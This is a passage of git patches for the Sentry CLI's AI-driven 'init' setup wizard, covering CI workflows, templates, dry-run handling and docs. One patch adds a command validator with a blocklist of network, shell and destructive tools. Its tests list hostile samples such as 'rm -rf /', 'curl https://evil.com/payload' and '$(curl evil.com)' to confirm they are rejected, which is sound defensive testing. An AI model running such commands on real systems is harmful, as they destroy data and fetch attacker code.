["https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/"] + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/" + ] }, "react-vite": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/react/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/react/", "https://docs.sentry.io/platforms/javascript/guides/react/usage/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/react/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/react/", + "https://docs.sentry.io/platforms/javascript/guides/react/usage/" + ], "sourcemaps": [], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/react/session-replay/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/react/tracing/"], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/react/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/react/tracing/" + ], "logs": ["https://docs.sentry.io/platforms/javascript/guides/react/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/react/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/react/profiling/"] + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/react/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/react/profiling/" + ] } } diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts index e4fe2325..6964320a 100644 --- a/test/init-eval/helpers/docs-fetcher.ts +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -1,5 +1,5 @@ function toMarkdownUrl(docsUrl: string): string { - return docsUrl.replace(/\/+$/, "") + ".md"; + return `${docsUrl.replace(/\/+$/, "")}.md`; } /** diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index 471caf61..bae33107 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -91,7 +91,8 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-flask"), - installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + installCmd: + "python -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, @@ -103,7 +104,8 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-fastapi"), - installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + installCmd: + "python -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, From 04ae63dfba890d06a1fbcb38089eb3b58e3f4ba1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:16:36 +0100 Subject: [PATCH 22/72] ci(init): add minimal permissions to init-eval workflow Restrict GITHUB_TOKEN to contents:read as flagged by CodeQL. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index d6b23e51..56711468 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -22,6 +22,8 @@ jobs: name: Eval ${{ matrix.platform }} runs-on: ubuntu-latest environment: init-eval + permissions: + contents: read strategy: fail-fast: false matrix: From 4d7787cbd3529937738551c73123b4de800aa908 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 11:16:38 +0100 Subject: [PATCH 23/72] fix(init): update sveltekit template and use python3 in eval tests Update SvelteKit template with working deps (adapter-node, latest svelte/vite) and add required src files (app.d.ts, app.html). Use python3 instead of python for venv creation in Flask/FastAPI platforms. Add --concurrency 6 to init-eval test runner. Co-Authored-By: Claude Opus 4.6 --- package.json | 2 +- test/init-eval/helpers/platforms.ts | 4 +-- .../templates/sveltekit-app/package.json | 18 +++++++------ .../templates/sveltekit-app/src/app.d.ts | 13 ++++++++++ .../templates/sveltekit-app/src/app.html | 11 ++++++++ .../templates/sveltekit-app/svelte.config.js | 10 +++----- .../templates/sveltekit-app/tsconfig.json | 25 ++++++++++--------- 7 files changed, 54 insertions(+), 29 deletions(-) create mode 100644 test/init-eval/templates/sveltekit-app/src/app.d.ts create mode 100644 test/init-eval/templates/sveltekit-app/src/app.html diff --git a/package.json b/package.json index 3ebecbce..71e93045 100644 --- a/package.json +++ b/package.json @@ -21,7 +21,7 @@ "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", - "test:init-eval": "bun test test/init-eval --timeout 600000", + "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", "check:skill": "bun run script/check-skill.ts", "check:deps": "bun run script/check-no-deps.ts" diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index bae33107..df5228ce 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -92,7 +92,7 @@ export const PLATFORMS: Platform[] = [ depFile: "requirements.txt", docs: getDocs("python-flask"), installCmd: - "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, @@ -105,7 +105,7 @@ export const PLATFORMS: Platform[] = [ depFile: "requirements.txt", docs: getDocs("python-fastapi"), installCmd: - "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, diff --git a/test/init-eval/templates/sveltekit-app/package.json b/test/init-eval/templates/sveltekit-app/package.json index 77ae4f30..e58b151f 100644 --- a/test/init-eval/templates/sveltekit-app/package.json +++ b/test/init-eval/templates/sveltekit-app/package.json @@ -1,18 +1,20 @@ { "name": "sveltekit-app", - "version": "0.1.0", "private": true, + "version": "0.0.1", + "type": "module", "scripts": { "dev": "vite dev", "build": "vite build", - "preview": "vite preview" + "preview": "vite preview", + "prepare": "svelte-kit sync || echo ''" }, "devDependencies": { - "@sveltejs/adapter-auto": "^4.0.0", - "@sveltejs/kit": "^2.16.0", - "@sveltejs/vite-plugin-svelte": "^5.0.0", - "svelte": "^5.0.0", - "typescript": "^5", - "vite": "^6.0.0" + "@sveltejs/adapter-node": "^5.0.0", + "@sveltejs/kit": "^2.50.2", + "@sveltejs/vite-plugin-svelte": "^6.2.4", + "svelte": "^5.51.0", + "typescript": "^5.9.3", + "vite": "^7.3.1" } } diff --git a/test/init-eval/templates/sveltekit-app/src/app.d.ts b/test/init-eval/templates/sveltekit-app/src/app.d.ts new file mode 100644 index 00000000..da08e6da --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.d.ts @@ -0,0 +1,13 @@ +// See https://svelte.dev/docs/kit/types#app.d.ts +// for information about these interfaces +declare global { + namespace App { + // interface Error {} + // interface Locals {} + // interface PageData {} + // interface PageState {} + // interface Platform {} + } +} + +export {}; diff --git a/test/init-eval/templates/sveltekit-app/src/app.html b/test/init-eval/templates/sveltekit-app/src/app.html new file mode 100644 index 00000000..f273cc58 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.html @@ -0,0 +1,11 @@ + + + + + + %sveltekit.head% + + +
%sveltekit.body%
+ + diff --git a/test/init-eval/templates/sveltekit-app/svelte.config.js b/test/init-eval/templates/sveltekit-app/svelte.config.js index 3fc56b9c..6bfb3c40 100644 --- a/test/init-eval/templates/sveltekit-app/svelte.config.js +++ b/test/init-eval/templates/sveltekit-app/svelte.config.js @@ -1,12 +1,10 @@ -import adapter from "@sveltejs/adapter-auto"; -import { vitePreprocess } from "@sveltejs/vite-plugin-svelte"; +import adapter from '@sveltejs/adapter-node'; /** @type {import('@sveltejs/kit').Config} */ const config = { - preprocess: vitePreprocess(), - kit: { - adapter: adapter(), - }, + kit: { + adapter: adapter() + } }; export default config; diff --git a/test/init-eval/templates/sveltekit-app/tsconfig.json b/test/init-eval/templates/sveltekit-app/tsconfig.json index 43447105..feea18bf 100644 --- a/test/init-eval/templates/sveltekit-app/tsconfig.json +++ b/test/init-eval/templates/sveltekit-app/tsconfig.json @@ -1,14 +1,15 @@ { - "extends": "./.svelte-kit/tsconfig.json", - "compilerOptions": { - "allowJs": true, - "checkJs": true, - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "resolveJsonModule": true, - "skipLibCheck": true, - "sourceMap": true, - "strict": true, - "moduleResolution": "bundler" - } + "extends": "./.svelte-kit/tsconfig.json", + "compilerOptions": { + "rewriteRelativeImportExtensions": true, + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "sourceMap": true, + "strict": true, + "moduleResolution": "bundler" + } } From 102baa64c555633d49e26eb2d9c561a79155962e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 11:42:44 +0100 Subject: [PATCH 24/72] ci(init): run init-eval on PRs and main pushes Add push/pull_request triggers so the eval runs automatically alongside other CI checks. Keep workflow_dispatch for manual single-platform runs. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index 56711468..8e0d3b8c 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -1,6 +1,9 @@ name: Init Eval on: + push: + branches: [main] + pull_request: workflow_dispatch: inputs: platform: @@ -17,6 +20,10 @@ on: - react-vite - sveltekit +concurrency: + group: init-eval-${{ github.ref }} + cancel-in-progress: true + jobs: eval: name: Eval ${{ matrix.platform }} @@ -27,9 +34,9 @@ jobs: strategy: fail-fast: false matrix: - platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') - || fromJson(format('["{0}"]', inputs.platform)) }} + platform: ${{ (inputs.platform && inputs.platform != 'all') + && fromJson(format('["{0}"]', inputs.platform)) + || fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') }} steps: - uses: actions/checkout@v4 - uses: oven-sh/setup-bun@v2 From 51f8968d179fcd30ee4e013707aac7692f7b4120 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 12:09:15 +0100 Subject: [PATCH 25/72] Revert "ci(init): run init-eval on PRs and main pushes" This reverts commit 102baa64c555633d49e26eb2d9c561a79155962e. --- .github/workflows/init-eval.yml | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index 8e0d3b8c..56711468 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -1,9 +1,6 @@ name: Init Eval on: - push: - branches: [main] - pull_request: workflow_dispatch: inputs: platform: @@ -20,10 +17,6 @@ on: - react-vite - sveltekit -concurrency: - group: init-eval-${{ github.ref }} - cancel-in-progress: true - jobs: eval: name: Eval ${{ matrix.platform }} @@ -34,9 +27,9 @@ jobs: strategy: fail-fast: false matrix: - platform: ${{ (inputs.platform && inputs.platform != 'all') - && fromJson(format('["{0}"]', inputs.platform)) - || fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') }} + platform: ${{ inputs.platform == 'all' + && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') + || fromJson(format('["{0}"]', inputs.platform)) }} steps: - uses: actions/checkout@v4 - uses: oven-sh/setup-bun@v2 From d5d0b22d3264c335d08792104dd795deafdeeda7 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 12:09:22 +0100 Subject: [PATCH 26/72] ci(init): remove init-eval workflow for now Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 50 --------------------------------- 1 file changed, 50 deletions(-) delete mode 100644 .github/workflows/init-eval.yml diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml deleted file mode 100644 index 56711468..00000000 --- a/.github/workflows/init-eval.yml +++ /dev/null @@ -1,50 +0,0 @@ -name: Init Eval - -on: - workflow_dispatch: - inputs: - platform: - description: "Platform to evaluate (or 'all')" - required: true - default: all - type: choice - options: - - all - - express - - nextjs - - python-fastapi - - python-flask - - react-vite - - sveltekit - -jobs: - eval: - name: Eval ${{ matrix.platform }} - runs-on: ubuntu-latest - environment: init-eval - permissions: - contents: read - strategy: - fail-fast: false - matrix: - platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') - || fromJson(format('["{0}"]', inputs.platform)) }} - steps: - - uses: actions/checkout@v4 - - uses: oven-sh/setup-bun@v2 - - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - uses: actions/cache@v4 - id: cache - with: - path: node_modules - key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} - - if: steps.cache.outputs.cache-hit != 'true' - run: bun install --frozen-lockfile - - name: Run eval - env: - MASTRA_API_URL: ${{ secrets.MASTRA_API_URL }} - OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} - run: bun test ./test/init-eval/${{ matrix.platform }}.eval.test.ts --timeout 600000 From 1308035a435f62b69cbb0426eb015dc7b4ce90e7 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:16:51 +0100 Subject: [PATCH 27/72] feat(init): enforce --dry-run flag in local operations Skip mutating operations (shell commands, file writes) when --dry-run is active, and auto-continue the verify-changes prompt since the server skips apply-patchset in dry-run mode. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 40 +++++++++++++++++++++++++++++------ src/lib/init/wizard-runner.ts | 9 ++++++++ 2 files changed, 43 insertions(+), 6 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 84fef095..c5f9f2dd 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -42,7 +42,7 @@ function safePath(cwd: string, relative: string): string { export async function handleLocalOp( payload: LocalOpPayload, - _options: WizardOptions + options: WizardOptions ): Promise { try { switch (payload.operation) { @@ -53,9 +53,9 @@ export async function handleLocalOp( case "file-exists-batch": return await fileExistsBatch(payload); case "run-commands": - return await runCommands(payload); + return await runCommands(payload, options.dryRun); case "apply-patchset": - return await applyPatchset(payload); + return await applyPatchset(payload, options.dryRun); default: return { ok: false, @@ -167,7 +167,8 @@ function fileExistsBatch(payload: FileExistsBatchPayload): LocalOpResult { } async function runCommands( - payload: RunCommandsPayload + payload: RunCommandsPayload, + dryRun?: boolean ): Promise { const { cwd, params } = payload; const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; @@ -180,6 +181,15 @@ async function runCommands( }> = []; for (const command of params.commands) { + if (dryRun) { + results.push({ + command, + exitCode: 0, + stdout: "(dry-run: skipped)", + stderr: "", + }); + continue; + } const result = await runSingleCommand(command, cwd, timeoutMs); results.push(result); if (result.exitCode !== 0) { @@ -251,7 +261,26 @@ function runSingleCommand( }); } -function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { +function applyPatchsetDryRun(payload: ApplyPatchsetPayload): LocalOpResult { + const { cwd, params } = payload; + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + safePath(cwd, patch.path); + applied.push({ path: patch.path, action: patch.action }); + } + + return { ok: true, data: { applied } }; +} + +function applyPatchset( + payload: ApplyPatchsetPayload, + dryRun?: boolean +): LocalOpResult { + if (dryRun) { + return applyPatchsetDryRun(payload); + } + const { cwd, params } = payload; const applied: Array<{ path: string; action: string }> = []; @@ -260,7 +289,6 @@ function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { switch (patch.action) { case "create": { - // Ensure parent directory exists const dir = path.dirname(absPath); fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(absPath, patch.patch, "utf-8"); diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 17f5a7f2..395808eb 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -67,6 +67,15 @@ async function handleSuspendedStep( } if (payloadType === "interactive") { + // In dry-run mode, verification always fails because no files were written + // (the server skips apply-patchset). Auto-continue since this is expected. + if (options.dryRun && stepId === "verify-changes") { + return { + action: "continue", + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + s.stop(label); const interactiveResult = await handleInteractive( From 00417d6cad275f27b2f326b95fa4a51e567363a5 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:33:36 +0100 Subject: [PATCH 28/72] fix(init): use HTTPS for default API URL Prevent auth tokens from being sent over plaintext by defaulting MASTRA_API_URL to https://. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 385ac180..d3428cb4 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,6 +1,6 @@ export const MASTRA_API_URL = process.env.SENTRY_WIZARD_API_URL ?? - "http://sentry-init-agent.getsentry.workers.dev"; + "https://sentry-init-agent.getsentry.workers.dev"; export const WORKFLOW_ID = "sentry-wizard"; From d41cbb8eb25d45bfcdded9b2ed04d4795a295e52 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:39:39 +0100 Subject: [PATCH 29/72] fix(init): add @clack/prompts as direct dependency Previously resolved transitively through ultracite. Declaring it explicitly prevents breakage if ultracite drops or changes the dep. Co-Authored-By: Claude Opus 4.6 --- bun.lock | 1 + package.json | 1 + 2 files changed, 2 insertions(+) diff --git a/bun.lock b/bun.lock index b0ee83e6..a56a9b75 100644 --- a/bun.lock +++ b/bun.lock @@ -6,6 +6,7 @@ "devDependencies": { "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", diff --git a/package.json b/package.json index 71e93045..e595742f 100644 --- a/package.json +++ b/package.json @@ -29,6 +29,7 @@ "devDependencies": { "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", From 2dd7f4791f8ad224b0b2fbeef88f176ed5f0bfad Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 22:13:26 +0100 Subject: [PATCH 30/72] feat(init): add command execution guardrails to local-ops Validate commands before shell execution with two layers: - Block shell metacharacters (;, &&, ||, |, backticks, $(), newlines) - Blocklist of 37 dangerous executables (rm, curl, sudo, ssh, etc.) This prevents the CLI from blindly executing arbitrary commands if the remote API is compromised or the LLM hallucinates a bad command. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 71 +++++++++++++++++++++++++++++ test/lib/init/local-ops.test.ts | 79 +++++++++++++++++++++++++++++++++ 2 files changed, 150 insertions(+) create mode 100644 test/lib/init/local-ops.test.ts diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index c5f9f2dd..b2593be1 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -24,6 +24,71 @@ import type { WizardOptions, } from "./types.js"; +/** + * Shell metacharacters that enable chaining, piping, substitution, or redirection. + * All legitimate install commands are simple single commands that don't need these. + */ +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ + { pattern: ";", label: "command chaining (;)" }, + // Check multi-char operators before single `|` so labels are accurate + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, +]; + +/** + * Executables that should never appear in a package install command. + */ +const BLOCKED_EXECUTABLES = new Set([ + // Destructive + "rm", "rmdir", "del", + // Network/exfil + "curl", "wget", "nc", "ncat", "netcat", "socat", "telnet", "ftp", + // Privilege escalation + "sudo", "su", "doas", + // Permissions + "chmod", "chown", "chgrp", + // Process/system + "kill", "killall", "pkill", "shutdown", "reboot", "halt", "poweroff", + // Disk + "dd", "mkfs", "fdisk", "mount", "umount", + // Remote access + "ssh", "scp", "sftp", + // Shells + "bash", "sh", "zsh", "fish", "csh", "dash", + // Misc dangerous + "eval", "exec", "env", "xargs", +]); + +/** + * Validate a command before execution. + * Returns an error message if the command is unsafe, or undefined if it's OK. + */ +export function validateCommand(command: string): string | undefined { + // Layer 1: Block shell metacharacters + for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { + if (command.includes(pattern)) { + return `Blocked command: contains ${label} — "${command}"`; + } + } + + // Layer 2: Block dangerous executables + const firstToken = command.trimStart().split(/\s+/)[0]; + if (!firstToken) { + return `Blocked command: empty command`; + } + const executable = path.basename(firstToken); + if (BLOCKED_EXECUTABLES.has(executable)) { + return `Blocked command: disallowed executable "${executable}" — "${command}"`; + } + + return undefined; +} + /** * Resolve a path relative to cwd and verify it's inside cwd. * Rejects path traversal attempts. @@ -190,6 +255,12 @@ async function runCommands( }); continue; } + + const validationError = validateCommand(command); + if (validationError) { + return { ok: false, error: validationError }; + } + const result = await runSingleCommand(command, cwd, timeoutMs); results.push(result); if (result.exitCode !== 0) { diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts new file mode 100644 index 00000000..b6b8d8d6 --- /dev/null +++ b/test/lib/init/local-ops.test.ts @@ -0,0 +1,79 @@ +import { describe, expect, test } from "bun:test"; +import { validateCommand } from "../../../src/lib/init/local-ops.js"; + +describe("validateCommand", () => { + test("allows legitimate install commands", () => { + const commands = [ + "npm install @sentry/node", + "npm install --save @sentry/react @sentry/browser", + "yarn add @sentry/node", + "pnpm add @sentry/node", + "pip install sentry-sdk", + "pip install sentry-sdk[flask]", + 'pip install "sentry-sdk>=1.0"', + 'pip install "sentry-sdk<2.0,>=1.0"', + "pip install -r requirements.txt", + "cargo add sentry", + "bundle add sentry-ruby", + "gem install sentry-ruby", + "composer require sentry/sentry-laravel", + "dotnet add package Sentry", + "go get github.com/getsentry/sentry-go", + "flutter pub add sentry_flutter", + "npx @sentry/wizard@latest -i nextjs", + "poetry add sentry-sdk", + "npm install foo@>=1.0.0", + ]; + for (const cmd of commands) { + expect(validateCommand(cmd)).toBeUndefined(); + } + }); + + test("blocks shell metacharacters", () => { + for (const cmd of [ + "npm install foo; rm -rf /", + "npm install foo && curl evil.com", + "npm install foo || curl evil.com", + "npm install foo | tee /etc/passwd", + "npm install `curl evil.com`", + "npm install $(curl evil.com)", + "npm install foo\ncurl evil.com", + "npm install foo\rcurl evil.com", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks dangerous executables", () => { + for (const cmd of [ + "rm -rf /", + "curl https://evil.com/payload", + "sudo npm install foo", + "chmod 777 /etc/passwd", + "kill -9 1", + "dd if=/dev/zero of=/dev/sda", + "ssh user@host", + "bash -c 'echo hello'", + "sh -c 'echo hello'", + "env npm install foo", + "xargs rm", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("resolves path-prefixed executables", () => { + // Safe executables with paths pass + expect(validateCommand("./venv/bin/pip install sentry-sdk")).toBeUndefined(); + expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); + + // Dangerous executables with paths are still blocked + expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); + expect(validateCommand("/usr/bin/curl https://evil.com")).toContain('"curl"'); + }); + + test("blocks empty and whitespace-only commands", () => { + expect(validateCommand("")).toContain("empty command"); + expect(validateCommand(" ")).toContain("empty command"); + }); +}); From a8a10a459bb67ccc476714fcd08f52104bb3d076 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 22:27:29 +0100 Subject: [PATCH 31/72] docs(init): add init command page to cli.sentry.dev Co-Authored-By: Claude Opus 4.6 --- docs/src/content/docs/commands/init.md | 63 +++++++++++++++++++++++ docs/src/content/docs/getting-started.mdx | 1 + 2 files changed, 64 insertions(+) create mode 100644 docs/src/content/docs/commands/init.md diff --git a/docs/src/content/docs/commands/init.md b/docs/src/content/docs/commands/init.md new file mode 100644 index 00000000..23f7dbd4 --- /dev/null +++ b/docs/src/content/docs/commands/init.md @@ -0,0 +1,63 @@ +--- +title: init +description: AI-powered project setup wizard for the Sentry CLI +--- + +Set up Sentry in your project with an AI-powered wizard. The `init` command detects your platform and framework, installs the Sentry SDK, and instruments your code for error monitoring, tracing, and more. + +**Prerequisites:** You must be authenticated first. Run `sentry auth login` if you haven't already. + +## Usage + +```bash +sentry init [directory] +``` + +**Arguments:** + +| Argument | Description | +|----------|-------------| +| `[directory]` | Project directory (default: current directory) | + +**Options:** + +| Option | Description | +|--------|-------------| +| `--force` | Continue even if Sentry is already installed | +| `-y, --yes` | Non-interactive mode (accept defaults) | +| `--dry-run` | Preview changes without applying them | +| `--features ` | Comma-separated features: `errors`, `tracing`, `logs`, `replay`, `metrics` | + +## Examples + +```bash +# Run the wizard in the current directory +sentry init + +# Target a subdirectory +sentry init ./my-app + +# Preview what changes would be made +sentry init --dry-run + +# Select specific features +sentry init --features errors,tracing,logs + +# Non-interactive mode (accept all defaults) +sentry init --yes +``` + +## What the wizard does + +1. **Detects your framework** — scans your project files to identify the platform and framework +2. **Installs the SDK** — adds the appropriate Sentry SDK package to your project +3. **Instruments your code** — configures error monitoring, tracing, and any selected features + +## Supported platforms + +The wizard currently supports: + +- **JavaScript / TypeScript** — Next.js, Express, SvelteKit, React +- **Python** — Flask, FastAPI + +More platforms and frameworks are coming soon. diff --git a/docs/src/content/docs/getting-started.mdx b/docs/src/content/docs/getting-started.mdx index fb87b9c8..9a094682 100644 --- a/docs/src/content/docs/getting-started.mdx +++ b/docs/src/content/docs/getting-started.mdx @@ -81,6 +81,7 @@ Credentials are stored in `~/.sentry/config.json` with restricted file permissio Once authenticated, you can start using the CLI: +- [Initialize Sentry](../commands/init/) - Set up Sentry in your project with the guided wizard - [Organization commands](../commands/org/) - List and view organizations - [Project commands](../commands/project/) - Manage projects - [Issue commands](../commands/issue/) - Track and manage issues From b8cddd578e9cb01618400f20b0d8d54847cd151a Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 26 Feb 2026 10:53:43 +0100 Subject: [PATCH 32/72] refactor(init): extract magic values into named constants Move hardcoded numeric values, string literals, and exit codes into constants.ts for better readability and maintainability across the init module. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 14 +++++++++++- src/lib/init/formatters.ts | 14 ++++++++---- src/lib/init/interactive.ts | 12 +++++----- src/lib/init/local-ops.ts | 10 ++++---- src/lib/init/types.ts | 6 ++--- src/lib/init/wizard-runner.ts | 43 +++++++++++++++++++---------------- 6 files changed, 61 insertions(+), 38 deletions(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index d3428cb4..37d0dc81 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -7,5 +7,17 @@ export const WORKFLOW_ID = "sentry-wizard"; export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; export const MAX_FILE_BYTES = 262_144; // 256KB per file -export const MAX_STDOUT_BYTES = 65_536; // 64KB stdout/stderr truncation +export const MAX_OUTPUT_BYTES = 65_536; // 64KB stdout/stderr truncation export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes + +// Exit codes returned by the remote workflow +export const EXIT_SENTRY_ALREADY_INSTALLED = 10; +export const EXIT_PLATFORM_NOT_DETECTED = 20; +export const EXIT_DEPENDENCY_INSTALL_FAILED = 30; +export const EXIT_VERIFICATION_FAILED = 50; + +// Step ID used in dry-run special-case logic +export const VERIFY_CHANGES_STEP = "verify-changes"; + +// The feature that is always included in every setup +export const REQUIRED_FEATURE = "errorMonitoring"; diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts index 46062c71..beb104ff 100644 --- a/src/lib/init/formatters.ts +++ b/src/lib/init/formatters.ts @@ -6,6 +6,12 @@ import { cancel, log, note, outro } from "@clack/prompts"; import { featureLabel } from "./clack-utils.js"; +import { + EXIT_DEPENDENCY_INSTALL_FAILED, + EXIT_PLATFORM_NOT_DETECTED, + EXIT_SENTRY_ALREADY_INSTALLED, + EXIT_VERIFICATION_FAILED, +} from "./constants.js"; type WizardOutput = Record; @@ -87,20 +93,20 @@ export function formatError(result: WizardOutput): void { log.error(String(message)); - if (exitCode === 10) { + if (exitCode === EXIT_SENTRY_ALREADY_INSTALLED) { log.warn("Hint: Use --force to override existing Sentry installation."); - } else if (exitCode === 20) { + } else if (exitCode === 